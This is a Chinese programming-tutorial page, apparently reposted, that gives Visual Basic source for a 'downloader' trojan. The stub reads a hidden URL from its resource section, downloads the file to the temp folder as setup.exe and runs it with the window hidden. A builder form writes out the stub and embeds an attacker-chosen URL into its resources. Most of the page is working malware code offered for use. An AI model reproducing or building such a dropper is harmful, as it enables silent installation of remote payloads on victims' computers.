欢迎光临
我们一直在努力

VB 编写下载者 把下载信息存在资源文件里。。-.NET教程,VB.Net语言

建站超值云服务器,限时71元/月

 

以下就是服务端

 private declare function gettemppath lib “kernel32” alias “gettemppatha” _   取得temp目录的api
        (byval nbufferlength as long, byval lpbuffer as string) as long

private declare function urldownloadtofile lib “urlmon” alias “urldownloadtofilea” (byval pcaller as long, byval szurl as string, byval szfilename as string, byval dwreserved as long, byval lpfncb as long) as long下在文件的api

public sub main()
dim sourceurl as string
dim chen() as byte
dim targetfile as string
dim temppath as string
dim len5 as long

   dim i as long
  
    chen = loadresdata(“http”, “图标”) 取出数据
   for i = 0 to 184  还原为字符
    
  if chen(i) <> 0 and chen(i) <> 32 then
   sourceurl = sourceurl + chr(chen(i))
  
  end if
  next
   temppath = string(255, 0)
       len5 = gettemppath(256, temppath)
        temppath = left(temppath, len5)
 
         targetfile = temppath + “setup.exe”  保存路径
    hfile = urldownloadtofile(0&, sourceurl, targetfile, 0&, 0&)
if hfile = 0 then
shell targetfile, vbhide
end if

end sub

保存为bas 文件就可以了

控制台文件需要对资源文件进行读写

用到以下几个api

public declare function beginupdateresource lib “kernel32” alias “beginupdateresourcea” (byval pfilename as string, byval bdeleteexistingresources as long) as long

public declare function updateresource lib “kernel32” alias “updateresourcea” (byval hupdate as long, byval lptype as string, byval lpname as string, byval wlanguage as long, lpdata as any, byval cbdata as long) as long

public declare function endupdateresource lib “kernel32” alias “endupdateresourcea” (byval hupdate as long, byval fdiscard as long) as long

这几个可以把它放到一个bas文件中

以下就是控制台的代码

private sub command1_click()
  dim bwenjian as long
  dim wenjian as long
  dim ewenjian as long
  dim app2() as byte
 
   dim astr as string * 200
  
   
  app2 = loadresdata(“exe”, “exefile”)
    if dir(text1.text) <> “” then
     
      msgbox text1.text + “已存在”
     
      exit sub
   
    end if
  
   open text1.text for binary as #1
     
        put #1, , app2()
     
        close #1
    
    
   
   astr = left$(text2.text, 200)
      
    bwenjian = beginupdateresource(text1.text, false) 开始一个添加资源的过程
    
    wenjian = updateresource(bwenjian, “图标”, “http”, 2052, byval astr, 200) 添加资源
   
   ewenjian = endupdateresource(bwenjian, false) 结束添加资源过程

end sub

private sub form_load()
text1.text = app.path & “\xz.exe”  默认的服务端文件名
end sub

当然你要把 服务端的exe导入里面存为资源

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » VB 编写下载者 把下载信息存在资源文件里。。-.NET教程,VB.Net语言
分享到: 更多 (0)

相关推荐

  • 暂无文章